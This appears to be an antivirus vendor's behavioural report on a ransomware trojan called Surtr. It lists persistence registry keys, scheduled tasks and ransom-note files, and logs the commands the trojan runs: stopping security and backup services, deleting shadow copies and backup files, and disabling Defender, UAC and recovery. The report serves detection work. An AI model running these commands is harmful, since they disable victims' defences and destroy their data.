Trojan.Siggen18.8202

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'svchos1' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchos2' = '%ALLUSERSPROFILE%\Service\Surtr.exe'

Creates or modifies the following files

%APPDATA%\microsoft\windows\start menu\programs\startup\surtr_readme.hta
%APPDATA%\microsoft\windows\start menu\programs\startup\surtr_readme.txt
<SYSTEM32>\tasks\svchos1
<SYSTEM32>\tasks\svchos2
%APPDATA%\microsoft\windows\start menu\programs\startup\surtr.exe

Creates the following files on removable media

<Drive name for removable media>:\archer.avi

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Task Manager (Taskmgr)
Windows Defender

blocks the following features:

System Restore (SR)
User Account Control (UAC)

modifies the following system settings:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'StartMenuLogOff' = '00000001'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'

deletes volume shadow copies.

Executes the following

'%WINDIR%\syswow64\net.exe' stop "Acronis VSS Provider"
'%WINDIR%\syswow64\net.exe' stop "IISAdmin"
'%WINDIR%\syswow64\net.exe' stop "IMAP4Svc"
'%WINDIR%\syswow64\net.exe' stop "macmnsvc"
'%WINDIR%\syswow64\net.exe' stop "masvc"
'%WINDIR%\syswow64\net.exe' stop "MBAMService"
'%WINDIR%\syswow64\net.exe' stop "MBEndpointAgent"
'%WINDIR%\syswow64\net.exe' stop "McAfeeEngineService"
'%WINDIR%\syswow64\net.exe' stop "McAfeeFramework"
'%WINDIR%\syswow64\net.exe' stop "McAfeeFrameworkMcAfeeFramework"
'%WINDIR%\syswow64\net.exe' stop "McShield"
'%WINDIR%\syswow64\net.exe' stop "mfemms"
'%WINDIR%\syswow64\net.exe' stop "MMS"
'%WINDIR%\syswow64\net.exe' stop "MSOLAP$SYSTEM_BGC"
'%WINDIR%\syswow64\net.exe' stop "mozyprobackup"
'%WINDIR%\syswow64\net.exe' stop "MsDtsServer"
'%WINDIR%\syswow64\net.exe' stop "MsDtsServer100"
'%WINDIR%\syswow64\net.exe' stop "MsDtsServer110"
'%WINDIR%\syswow64\net.exe' stop "MSExchangeES"
'%WINDIR%\syswow64\net.exe' stop "MSExchangeIS"
'%WINDIR%\syswow64\net.exe' stop "MSExchangeMGMT"
'%WINDIR%\syswow64\net.exe' stop "MSExchangeMTA"
'%WINDIR%\syswow64\net.exe' stop "MSExchangeSA"
'%WINDIR%\syswow64\net.exe' stop "MSExchangeSRS"
'%WINDIR%\syswow64\net.exe' stop "MSOLAP$SQL_2008"
'%WINDIR%\syswow64\net.exe' stop "EPSecurityService"
'%WINDIR%\syswow64\net.exe' stop "mfevtp"
'%WINDIR%\syswow64\net.exe' stop "BackupExecVSSProvider"
'%WINDIR%\syswow64\net.exe' stop "Sophos System Protection Service"
'%WINDIR%\syswow64\net.exe' stop " Enterprise Client Service"
'%WINDIR%\syswow64\net.exe' stop "Sophos Agent"
'%WINDIR%\syswow64\net.exe' stop "Sophos AutoUpdate Service"
'%WINDIR%\syswow64\net.exe' stop "Sophos Clean Service"
'%WINDIR%\syswow64\net.exe' stop "Sophos Device Control Service"
'%WINDIR%\syswow64\net.exe' stop "Sophos File Scanner Service"
'%WINDIR%\syswow64\net.exe' stop "Sophos Health Service"
'%WINDIR%\syswow64\net.exe' stop "Sophos MCS Agent"
'%WINDIR%\syswow64\net.exe' stop "Sophos MCS Client"
'%WINDIR%\syswow64\net.exe' stop "Sophos Message Router"
'%WINDIR%\syswow64\net.exe' stop "Sophos Safestore Service"
'%WINDIR%\syswow64\net.exe' stop "Sophos Web Control Service"
'%WINDIR%\syswow64\net.exe' stop "BackupExecManagementService"
'%WINDIR%\syswow64\net.exe' stop "SQLsafe Backup Service"
'%WINDIR%\syswow64\net.exe' stop "SQLsafe Filter Service"
'%WINDIR%\syswow64\net.exe' stop "Symantec System Recovery"
'%WINDIR%\syswow64\net.exe' stop "Veeam Backup Catalog Data Service"
'%WINDIR%\syswow64\net.exe' stop "AcronisAgent"
'%WINDIR%\syswow64\net.exe' stop "AcrSch2Svc"
'%WINDIR%\syswow64\net.exe' stop "Antivirus"
'%WINDIR%\syswow64\net.exe' stop "BackupExecAgentAccelerator"
'%WINDIR%\syswow64\net.exe' stop "BackupExecAgentBrowser"
'%WINDIR%\syswow64\net.exe' stop "BackupExecDeviceMediaService"
'%WINDIR%\syswow64\net.exe' stop "BackupExecJobEngine"
'%WINDIR%\syswow64\net.exe' stop "BackupExecRPCService"
'%WINDIR%\syswow64\net.exe' stop "MSOLAP$TPS"

Modifies file system

Creates the following files

%ALLUSERSPROFILE%\service\service.surt
%TEMP%\service\surtr_readme.hta
%TEMP%\service\id_data.surt
%TEMP%\service\private_data.surt
%TEMP%\service\public_data.surt
%TEMP%\service\surtr.exe
%ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr_readme.txt
%ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr_readme.hta
<Current directory>\surtr_readme.txt
<Current directory>\surtr_readme.hta
%TEMP%\service\surtr_readme.txt
%ALLUSERSPROFILE%\service\public_data.surt
%ALLUSERSPROFILE%\service\id_data.surt
%ALLUSERSPROFILE%\service\surtr.exe
%ALLUSERSPROFILE%\service\surtr_readme.txt
%ALLUSERSPROFILE%\service\surtr_readme.hta
<Current directory>\private_data.surt
<Current directory>\public_data.surt
<Current directory>\id_data.surt
%ALLUSERSPROFILE%\service\reg.surt
%ALLUSERSPROFILE%\service\bus.surt
%ALLUSERSPROFILE%\service\private_data.surt
%ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr.exe

Miscellaneous

Executes the following

'%WINDIR%\syswow64\cmd.exe' /c mkdir %ALLUSERSPROFILE%\Service
'%WINDIR%\syswow64\cmd.exe' /c net stop "BackupExecVSSProvider"
'%WINDIR%\syswow64\net1.exe' stop "BackupExecVSSProvider"
'%WINDIR%\syswow64\cmd.exe' /c attrib +R /S "%TEMP%\Service"
'%WINDIR%\syswow64\attrib.exe' +R /S "%TEMP%\Service"
'%WINDIR%\syswow64\cmd.exe' /c net stop "EPSecurityService"
'%WINDIR%\syswow64\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
'%WINDIR%\syswow64\net1.exe' stop "EPSecurityService"
'%WINDIR%\syswow64\schtasks.exe' /CREATE /SC ONLOGON /TN svchos1 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
'%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.txt" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt"
'%WINDIR%\syswow64\cmd.exe' /c net stop "IISAdmin"
'%WINDIR%\syswow64\cmd.exe' /c net stop "IMAP4Svc"
'%WINDIR%\syswow64\net1.exe' stop "IMAP4Svc"
'%WINDIR%\syswow64\cmd.exe' /c net stop "macmnsvc"
'%WINDIR%\syswow64\net1.exe' stop "macmnsvc"
'%WINDIR%\syswow64\cmd.exe' /c net stop "masvc"
'%WINDIR%\syswow64\net1.exe' stop "masvc"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MBAMService"
'%WINDIR%\syswow64\net1.exe' stop "MBAMService"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MBEndpointAgent"
'%WINDIR%\syswow64\cmd.exe' /c net stop "BackupExecRPCService"
'%WINDIR%\syswow64\net1.exe' stop "IISAdmin"
'%WINDIR%\syswow64\net1.exe' stop "BackupExecRPCService"
'%WINDIR%\syswow64\attrib.exe' +R /S "%ALLUSERSPROFILE%\Service"
'%WINDIR%\syswow64\cmd.exe' /c attrib +R /S "%ALLUSERSPROFILE%\Service"
'%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\SURTR_README.txt" "%TEMP%\Service\SURTR_README.txt"
'%WINDIR%\syswow64\net1.exe' stop "Antivirus"
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "BackupExecAgentAccelerator"
'%WINDIR%\syswow64\net1.exe' stop "BackupExecAgentAccelerator"
'%WINDIR%\syswow64\cmd.exe' /c mkdir "%ALLUSERSPROFILE%\Service"
'%WINDIR%\syswow64\cmd.exe' /c mkdir "%TEMP%\Service"
'%WINDIR%\syswow64\cmd.exe' /c net stop "BackupExecAgentBrowser"
'%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta"
'%WINDIR%\syswow64\net1.exe' stop "MBEndpointAgent"
'%WINDIR%\syswow64\net1.exe' stop "BackupExecAgentBrowser"
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Surtr.exe" "%TEMP%\Service\Surtr.exe"
'%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Public_DATA.surt" "%TEMP%\Service\Public_DATA.surt"
'%WINDIR%\syswow64\net1.exe' stop "BackupExecDeviceMediaService"
'%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Private_DATA.surt" "%TEMP%\Service\Private_DATA.surt"
'%WINDIR%\syswow64\cmd.exe' /c net stop "BackupExecJobEngine"
'%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\ID_DATA.surt" "%TEMP%\Service\ID_DATA.surt"
'%WINDIR%\syswow64\net1.exe' stop "BackupExecJobEngine"
'%WINDIR%\syswow64\cmd.exe' /c net stop "BackupExecManagementService"
'%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\SURTR_README.hta" "%TEMP%\Service\SURTR_README.hta"
'%WINDIR%\syswow64\cmd.exe' /c net stop "Antivirus"
'%WINDIR%\syswow64\net1.exe' stop "BackupExecManagementService"
'%WINDIR%\syswow64\cmd.exe' /c net stop "BackupExecDeviceMediaService"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /F
'%WINDIR%\syswow64\cmd.exe' /c net stop "McAfeeFramework"
'%WINDIR%\syswow64\net1.exe' stop "MsDtsServer100"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MsDtsServer110"
'%WINDIR%\syswow64\net1.exe' stop "MsDtsServer110"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MSExchangeES"
'%WINDIR%\syswow64\net1.exe' stop "MSExchangeES"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MSExchangeIS"
'%WINDIR%\syswow64\net1.exe' stop "MSExchangeIS"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MSExchangeMGMT"
'%WINDIR%\syswow64\net1.exe' stop "MSExchangeMGMT"
'%WINDIR%\syswow64\net1.exe' stop "mozyprobackup"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MSExchangeMTA"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MSExchangeSA"
'%WINDIR%\syswow64\net1.exe' stop "MSExchangeSA"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MSExchangeSRS"
'%WINDIR%\syswow64\net1.exe' stop "MSExchangeSRS"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MSOLAP$SQL_2008"
'%WINDIR%\syswow64\net1.exe' stop "MSOLAP$SQL_2008"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MSOLAP$SYSTEM_BGC"
'%WINDIR%\syswow64\net1.exe' stop "MSOLAP$SYSTEM_BGC"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MSOLAP$TPS"
'%WINDIR%\syswow64\net1.exe' stop "MsDtsServer"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MsDtsServer100"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MsDtsServer"
'%WINDIR%\syswow64\cmd.exe' /c net stop "mozyprobackup"
'%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' stop "McAfeeFramework"
'%WINDIR%\syswow64\cmd.exe' /c net stop "McAfeeFrameworkMcAfeeFramework"
'%WINDIR%\syswow64\net1.exe' stop "McAfeeFrameworkMcAfeeFramework"
'%WINDIR%\syswow64\cmd.exe' /c net stop "McShield"
'%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Surtr.exe" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"
'%WINDIR%\syswow64\net1.exe' stop "McShield"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "McAfeeEngineService"
'%WINDIR%\syswow64\net1.exe' stop "McAfeeEngineService"
'%WINDIR%\syswow64\schtasks.exe' /CREATE /SC ONLOGON /TN svchos2 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /F
'%WINDIR%\syswow64\cmd.exe' /c net stop "mfemms"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "mfevtp"
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'%WINDIR%\syswow64\net1.exe' stop "mfevtp"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "MMS"
'%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'%WINDIR%\syswow64\net1.exe' stop "MMS"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'%WINDIR%\syswow64\net1.exe' stop "mfemms"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' stop "AcrSch2Svc"
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos Device Control Service"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' stop "Sophos Device Control Service"
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos File Scanner Service"
'%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' stop "Sophos File Scanner Service"
'%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos Health Service"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' stop "Sophos Health Service"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos MCS Agent"
'%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos Clean Service"
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c echo off
'%WINDIR%\syswow64\chcp.com' 437
'%WINDIR%\syswow64\cmd.exe' /c vssadmin Delete Shadows /all /quiet
'%WINDIR%\syswow64\cmd.exe' /c net stop "Acronis VSS Provider"
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
'%WINDIR%\syswow64\net1.exe' stop "Acronis VSS Provider"
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} recoveryenabled No
'%WINDIR%\syswow64\net1.exe' stop "Sophos MCS Agent"
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
'%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c del /s /f /q C:\*.bac C:\*.bak C:\*.bkf C:\Backup*.* C:\Backup*.*
'%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos Agent"
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\net1.exe' stop "Sophos Agent"
'%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos AutoUpdate Service"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' stop "Sophos AutoUpdate Service"
'%WINDIR%\syswow64\cmd.exe' /c net stop " Enterprise Client Service"
'%WINDIR%\syswow64\cmd.exe' /c chcp 437
'%WINDIR%\syswow64\net1.exe' stop " Enterprise Client Service"
'%WINDIR%\syswow64\net1.exe' stop "Sophos Clean Service"
'%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos MCS Client"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' stop "SQLsafe Filter Service"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "Symantec System Recovery"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' stop "Symantec System Recovery"
'%WINDIR%\syswow64\net1.exe' stop "SQLsafe Backup Service"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "SQLsafe Filter Service"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "AcronisAgent"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' stop "AcronisAgent"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "AcrSch2Svc"
'%WINDIR%\syswow64\cmd.exe' /c net stop "Veeam Backup Catalog Data Service"
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' stop "Veeam Backup Catalog Data Service"
'%WINDIR%\syswow64\net1.exe' stop "MSExchangeMTA"
'%WINDIR%\syswow64\net1.exe' stop "MSOLAP$TPS"
'%WINDIR%\syswow64\cmd.exe' /c net stop "SQLsafe Backup Service"
'%WINDIR%\syswow64\net1.exe' stop "Sophos MCS Client"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos Message Router"
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' stop "Sophos Message Router"
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos Safestore Service"
'%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' stop "Sophos Safestore Service"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' stop "Sophos System Protection Service"
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos Web Control Service"
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\net1.exe' stop "Sophos Web Control Service"
'%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos System Protection Service"
'%WINDIR%\syswow64\cmd.exe' /c net stop "MSOLAP$TPSAMA"

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial